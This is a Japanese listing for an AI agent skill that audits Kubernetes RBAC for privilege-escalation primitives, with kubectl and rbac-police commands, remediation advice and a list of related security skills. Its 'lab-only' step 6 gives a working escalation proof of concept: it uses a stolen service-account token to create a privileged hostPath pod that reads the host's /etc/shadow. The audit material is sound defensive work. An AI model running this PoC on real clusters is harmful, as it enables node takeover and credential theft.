Communitygithub.com

Kubernetes RBAC権限昇格監査

Kubernetesクラスターにおける危険なRBAC権限(権限昇格プリミティブ)を体系的に列挙し、攻撃経路を特定して、最小権限の修正を支援するスキルです。

Kubernetes RBAC権限昇格監査 とは?

このスキルは、KubernetesクラスターのRBAC(ロールベースアクセス制御)構成を監査し、権限昇格につながる危険な権限(escalate、bind、impersonateなど)を自動的に発見します。kubectl auth can-i、rbac-police、kubectl-who-canなどの強力なツール群を統合し、全サブジェクト(ユーザー、グループ、サービスアカウント)の実効権限を列挙します。特に、ひとつのPodが侵害されただけでクラスター全体が乗っ取られる「RBAC管理権限相当」の危険なプリミティブを特定し、sysdigやPalo Alto NetworksのUnit 42が公開したベストプラクティスに基づく修正レポートを生成します。このスキルは、許可されたセキュリティ評価・ペネトレーションテスト・本番前のRBACレビュー・Helmデプロイ後の検証などに使用でき、MITRE ATT&CKフレームワークにもマッピングされています。

対応~Claude Code~Codex CLI~Cursor
npx skills add https://github.com/mukul975/Anthropic-Cybersecurity-Skills/tree/main/skills/auditing-kubernetes-rbac-privilege-escalation

お気に入りのAIに質問する

このエージェントスキルを事前に読み込んだ状態で新しいチャットを開きます。

ドキュメント

Kubernetes RBAC権限昇格監査 は何をしますか?

法的通知: このスキルは許可されたセキュリティテストおよび教育目的にのみ使用してください。RBAC権限の列挙と行使は、ライブクラスターのアクセス態勢に影響を与えます。自分が所有するクラスター、または書面で明示的に許可されたクラスターでのみテストを実施してください。

概要

Kubernetesのロールベースアクセス制御(RBAC、MITRE ATT&CK T1078 有効なアカウント)は、Role/ClusterRoleルールとRoleBinding/ClusterRoleBindingによるバインドを通じて、すべてのユーザーとサービスアカウントが実行できる操作を定義します。ワークロードはデフォルトでマウントされたサービスアカウントトークンとともに実行されるため、攻撃者が1つのPodを侵害すると、そのアカウントのRBAC権限を継承します。過剰な権限を持つバインディングは、1つの侵害Podをクラスター乗っ取りに変えてしまいます。特定の動詞とリソースは「RBAC管理権限相当」となります。

Kubernetesの「RBAC優良プラクティス」ガイダンスとUnit 42の調査によると、危険なプリミティブは次のとおりです。

  • ロールに対する escalate — 自分自身に任意の権限を付与します(保有していない権限も含む)
  • ClusterRoleに対する bind — cluster-adminへのバインディングを作成します
  • ユーザー/グループ/サービスアカウントに対する impersonate — system:mastersを含む任意の主体として動作します
  • pods に対する create/update/patch — 特権Podをスケジュールしたりノードをマウントして、ホストにエスケープします(T1611)
  • pods/exec、pods/attach、pods/ephemeralcontainers に対する create — 既存のPodでコードを実行します
  • secrets に対する get/list/watch — listは他のサービスアカウントトークンを含む秘密情報全体を返します
  • serviceaccounts/token に対する create — より特権的なアカウントのトークンを発行します
  • validatingwebhookconfigurations/mutatingwebhookconfigurations、nodes/proxy、certificatesigningrequests/approval に対する update/patch — admission/CSRの悪用による管理権限昇格
  • ワイルドカード(verbs: ["*"]、resources: ["*"]) — 暗黙の超特権

このスキルは、すべての主体の実効権限を体系的に列挙し、どの主体がこれらの昇格プリミティブを保持しているかをマッピングし、修正のためのエビデンスを生成します。出典:Kubernetes RBAC優良プラクティス、Unit 42 Kubernetes RBAC研究。

使用タイミング

  • 許可されたKubernetesセキュリティアセスメントまたはクラスターペネトレーションテスト中
  • Podを侵害した後、そのサービスアカウントトークンがアクセスできる範囲を特定するため
  • 本番稼働前のRBAC構成のずれをレビューする場合
  • プラットフォーム移行やHelmロールアウト後に最小権限を検証する場合

前提条件

  • ターゲットクラスターに対して設定された kubectl(自身の資格情報、または取得したサービスアカウントトークン)
  • RBACオブジェクトへの読み取りアクセス(ほとんどの監査はクラスターリーダーまたは管理者コンテキストで実行されます)
  • 監査ツール:
    # rbac-police - 権限昇格経路の発見(Cymulate)
    curl -L https://github.com/PaloAltoNetworks/rbac-police/releases/latest/download/rbac-police-linux-amd64 -o rbac-police
    chmod +x rbac-police
    
    # kubectl-who-can - アクションを実行できる主体の特定(Aqua)
    kubectl krew install who-can
    
    # rakkess - 現在または別の主体に対するリソース×動詞のアクセスマトリックス
    kubectl krew install access-matrix
    
    # rbac-lookup - 主体が持つロールの特定(FairwindsOps)
    kubectl krew install rbac-lookup
    

目的

  • すべてのRole、ClusterRole、RoleBinding、ClusterRoleBindingオブジェクトを棚卸する
  • kubectl auth can-i --asを使用して、主体ごとの実効権限を列挙する
  • RBAC管理権限相当のプリミティブを保持する主体を特定する
  • トークンをマウントするPodを過剰権限のサービスアカウントにトレースする
  • (ラボ環境で)1つの権限昇格経路をエンドツーエンドで実証する
  • 優先順位付けされた所見レポートと最小権限の修正手順を出力する

MITRE ATT&CK マッピング

テクニックID名称戦術
T1078有効なアカウント防御回避 / 永続化 / 権限昇格
T1098アカウント操作永続化
T1528アプリケーションアクセストークンの窃取資格情報アクセス
T1613コンテナとリソースの探索探索
T1611ホストへのエスケープ権限昇格

ワークフロー

ステップ 1: RBACオブジェクトの棚卸

# すべてのロールとバインディング(クラスター全体)
kubectl get clusterroles,clusterrolebindings -o wide
kubectl get roles,rolebindings --all-namespaces -o wide

# オフライン分析用にRBAC全体をダンプ
kubectl get clusterroles,clusterrolebindings,roles,rolebindings \
  --all-namespaces -o yaml > rbac-dump.yaml

# cluster-adminにバインドされている主体は?
kubectl get clusterrolebindings -o json | \
  jq -r '.items[] | select(.roleRef.name=="cluster-admin") |
         .metadata.name + " -> " + (.subjects // [] | map(.kind+"/"+.name) | join(","))'

ステップ 2: 主体ごとの実効権限の列挙

kubectl auth can-iは、ライブのオーソライザー(RBAC + Webhook)を評価するため、信頼性の高いチェックです。--asを使用して主体を偽装します(監査IDに偽装権限が必要です)。

# サービスアカウントの完全なアクセスマトリックス
kubectl auth can-i --list \
  --as=system:serviceaccount:default:default

# 危険な権限のターゲット調査
kubectl auth can-i create pods --all-namespaces \
  --as=system:serviceaccount:dev:builder
kubectl auth can-i get secrets --all-namespaces \
  --as=system:serviceaccount:dev:builder
kubectl auth can-i create serviceaccounts/token -n kube-system \
  --as=system:serviceaccount:dev:builder
kubectl auth can-i '*' '*' --all-namespaces \
  --as=system:serviceaccount:dev:builder

# rakkess: 主体の動詞×リソースマトリックス全体
kubectl access-matrix --as system:serviceaccount:dev:builder

ステップ 3: 昇格プリミティブの追跡

# クラスター全体で危険なアクションを実行できる主体は?
kubectl who-can create pods
kubectl who-can '*' '*'                      # ワイルドカードの神モード保持者
kubectl who-can get secrets
kubectl who-can list secrets
kubectl who-can create pods/exec
kubectl who-can impersonate users
kubectl who-can create serviceaccounts/token
kubectl who-can update clusterrolebindings   # バインド形式の昇格

# 生ダンプからescalate/bind/impersonate動詞とワイルドカードをgrep
rg -nE 'escalate|impersonate|"\*"|- bind' rbac-dump.yaml

ステップ 4: rbac-police による自動昇格経路分析

rbac-policeはクラスタースナップショットに対してRegoポリシーを評価し、管理権限に昇格できる主体とその正確な経路を明らかにします。

# 組み込みのすべての昇格チェックを実行(読み取りアクセス権のあるkubeconfigが必要)
./rbac-police eval ./lib/policies/

# 権限昇格ポリシーのみ、重大な所見をJSONで出力
./rbac-police eval ./lib/policies/can_escalate.rego -f json -o findings.json

# 最初にスナップショットを取得(オフライン分析 / エアギャップレビュー)
./rbac-police collect -o cluster-snapshot.json
./rbac-police eval ./lib/policies/ --collect-results cluster-snapshot.json

ステップ 5: Pod から過剰権限サービスアカウントへのトレース

所見が意味を持つのは、到達可能なワークロードがそのトークンをマウントしている場合のみです。

# すべてのPodをサービスアカウントにマッピング
kubectl get pods --all-namespaces \
  -o custom-columns='NS:.metadata.namespace,POD:.metadata.name,SA:.spec.serviceAccountName'

# リスクのあるSAに紐づく、トークンを自動マウントするPod(デフォルト)を検出
kubectl get pods --all-namespaces -o json | jq -r '
  .items[] | select(.spec.automountServiceAccountToken != false) |
  "\(.metadata.namespace)/\(.metadata.name) -> \(.spec.serviceAccountName // "default")"'

# rbac-lookup: そのサービスアカウントは実際に何を保持しているか?
kubectl rbac-lookup builder --kind serviceaccount

ステップ 6: 権限昇格経路の実証(ラボ環境のみ)

例:create pods権限とノードアクセス権を持つサービスアカウントが、ホストファイルシステムをマウントする特権Podをスケジュールできます。

# 取得したトークンを使用して、APIサーバーを直接ターゲットにする
export TOKEN=$(cat /var/run/secrets/kubernetes.io/serviceaccount/token)
export APISERVER=https://kubernetes.default.svc

# 危険な権限を確認
kubectl --token="$TOKEN" --server="$APISERVER" --insecure-skip-tls-verify \
  auth can-i create pods

# 特権ホストマウントPodをスケジュール(ノード/ホスト乗っ取りを証明)
cat <<'EOF' | kubectl --token="$TOKEN" --server="$APISERVER" \
  --insecure-skip-tls-verify apply -f -
apiVersion: v1
kind: Pod
metadata: {name: escalate-poc, namespace: default}
spec:
  containers:
  - name: x
    image: alpine
    command: ["/bin/sh","-c","cat /host/etc/shadow; sleep 1d"]
    securityContext: {privileged: true}
    volumeMounts: [{name: host, mountPath: /host}]
  volumes: [{name: host, hostPath: {path: /}}]
EOF
kubectl logs escalate-poc   # ホストの /etc/shadow が表示されれば昇格成功

ステップ 7: 報告と修正

# 最小権限違反のサマリーを生成
kubectl get clusterrolebindings -o json | jq -r '
  .items[] | select(.roleRef.name=="cluster-admin") |
  "FINDING cluster-admin bound to: " +
  ((.subjects // []) | map(.kind+":"+.name) | join(", "))'

修正: ワイルドカードを明示的な動詞/リソースに置き換える。escalate/bind/impersonateは必要な場合を除いて削除する。APIを呼び出さないワークロードでは automountServiceAccountToken: false を設定する。可能な場合は Role(名前空間スコープ)を ClusterRole よりも優先する。aggregationRuleは慎重に使用する。

ツールとリソース

ツール目的出典
kubectl auth can-i信頼できるライブ権限チェック(--list、--as)https://kubernetes.io/docs/reference/access-authn-authz/authorization/
rbac-policeRegoベースの昇格経路分析https://github.com/PaloAltoNetworks/rbac-police
kubectl-who-can逆引き:誰がXを実行できるかhttps://github.com/aquasecurity/kubectl-who-can
rakkess (access-matrix)主体ごとの動詞×リソースマトリックスhttps://github.com/corneliusweig/rakkess
rbac-lookup主体が持つロールhttps://github.com/FairwindsOps/rbac-lookup
Kubernetes RBAC優良プラクティス権威ある昇格プリミティブリストhttps://kubernetes.io/docs/concepts/security/rbac-good-practices/

危険なRBACプリミティブ リファレンス

動詞 / リソースなぜ管理権限相当なのか
escalate on roles自分自身に任意の権限を付与する
bind on clusterroles自分自身をcluster-adminにバインドする
impersonate users/groupssystem:mastersとして動作する
create pods (+ ノードアクセス)特権/hostPath Pod -> ホスト乗っ取り
create pods/exec、pods/attach既存のPodでコードを実行する
get/list secretsすべてのトークンと資格情報を読み取る
create serviceaccounts/token特権トークンを発行する
*/* (ワイルドカード)暗黙の超特権

検証基準

  • すべてのRole/ClusterRole/Bindingオブジェクトが棚卸・ダンプされている
  • cluster-adminサブジェクトリストが列挙されている
  • 各サービスアカウントの実効権限が auth can-i --list で列挙されている
  • すべての危険プリミティブ保持者(escalate/bind/impersonate/secrets/pods)が特定されている
  • rbac-policeの昇格経路がレビューされている
  • トークンをマウントするPodがリスクのあるサービスアカウントにマッピングされている
  • ラボ環境で少なくとも1つの昇格経路が実証されている
  • 最小権限の修正を含む所見レポートが作成されている
  • すべてのテストが許可された範囲内で実施された

Individual skills in this repo

This repo contains 20 individual skills — each has its own dedicated page.

abusing-dpapi-for-credential-access

Extract and decrypt Windows DPAPI-protected secrets (Credential Manager, browser logins/cookies, Wi-Fi credentials, KeePass keys) online or offline using SharpDPAPI, SharpChrome, Mimikatz, or Impacket

abusing-shadow-credentials-for-privesc

Take over Active Directory accounts by writing attacker-controlled public keys to msDS-KeyCredentialLink (Shadow Credentials) with pyWhisker, Whisker, or Certipy, then authenticate via PKINIT to recover the target

achieving-cmmc-level-2-compliance

>-

acquiring-disk-image-with-dd-and-dcfldd

Create forensically sound bit-for-bit disk images with dd or dcfldd on a Linux forensic workstation, preserving evidence integrity through hash verification (MD5/SHA) during acquisition. Use when imaging a suspect drive, USB device, or memory card for investigation, preserving volatile disk evidence during incident response, or producing a verified copy for legal or law-enforcement proceedings before any destructive analysis.

analyzing-active-directory-acl-abuse

Detect dangerous ACL misconfigurations in Active Directory using ldap3

analyzing-android-malware-with-apktool

Perform static analysis of Android APK malware using apktool for resource decompilation, jadx for Java source recovery, and androguard for manifest inspection, dangerous permission-combination detection, and identification of obfuscated code, dynamic code loading, and reflection-based API calls. Use to statically triage a suspicious APK without executing it or to build mobile malware detection rules.

analyzing-api-gateway-access-logs

Parses API Gateway access logs (AWS API Gateway, Kong, Nginx) to detect

analyzing-apt-group-with-mitre-navigator

Query ATT&CK data with attackcti, mitreattack-python, and stix2, then build MITRE ATT&CK Navigator layers and multi-layer heatmap overlays mapping one or more APT groups

analyzing-azure-activity-logs-for-threats

Queries Azure Monitor activity logs and sign-in logs via azure-monitor-query

analyzing-bootkit-and-rootkit-samples

Analyzes bootkit and advanced rootkit malware infecting the Master

analyzing-browser-forensics-with-hindsight

Parse Chromium-based browser databases with Hindsight to extract and correlate browsing history, downloads, cookies, cached content, autofill data, saved passwords, and extensions from Chrome, Edge, Brave, Opera, and Vivaldi into a unified timeline (XLSX, JSON, or SQLite output). Use during incident response, insider-threat investigations, or criminal cases when you need to reconstruct a user

analyzing-campaign-attribution-evidence

Systematically evaluate cyber-campaign evidence to attribute an operation to a threat actor, using the Diamond Model and Analysis of Competing Hypotheses (ACH) to weigh infrastructure overlaps, TTP consistency, malware code similarity, and timing/language artifacts into confidence-weighted attribution assessments. Use when an incident investigation needs a defensible attribution confidence level.

analyzing-certificate-transparency-for-phishing

Monitor Certificate Transparency logs using crt.sh and Certstream to

analyzing-cloud-storage-access-patterns

Detect abnormal access in AWS S3, GCS, and Azure Blob Storage by analyzing CloudTrail Data Events, GCS audit logs, and Azure Storage Analytics for after-hours bulk downloads, new-IP access, and API-call spikes (e.g. GetObject) via statistical baselines and time-series anomaly detection. Use when investigating suspected cloud data exfiltration or building related detection rules.

analyzing-cobalt-strike-beacon-configuration

Extract and analyze Cobalt Strike beacon configuration from PE files

analyzing-cobaltstrike-malleable-c2-profiles

Parse and analyze Cobalt Strike Malleable C2 profiles with dissect.cobaltstrike (profiles and beacon-payload configs) and pyMalleableC2 (AST parsing) to extract HTTP/DNS transforms, URIs, headers, sleep/jitter, and injection behavior, then generate network detection signatures. Use when reverse-engineering a captured malleable profile or building detections against Cobalt Strike Beacon traffic.

analyzing-command-and-control-communication

Analyzes malware C2 communication over HTTP, HTTPS, DNS, and custom

analyzing-cyber-kill-chain

Analyzes intrusion activity against the Lockheed Martin Cyber Kill Chain

analyzing-disk-image-with-autopsy

Perform comprehensive forensic analysis of raw (dd), E01, or AFF disk images with Autopsy and The Sleuth Kit, recovering deleted files, examining metadata and embedded artifacts, keyword searching, and building investigation timelines with visual reports. Use for structured analysis of a forensic disk image or when stakeholders need visual reports from evidence.

analyzing-dns-logs-for-exfiltration

Analyzes DNS query logs to detect data exfiltration via DNS tunneling,

関連スキル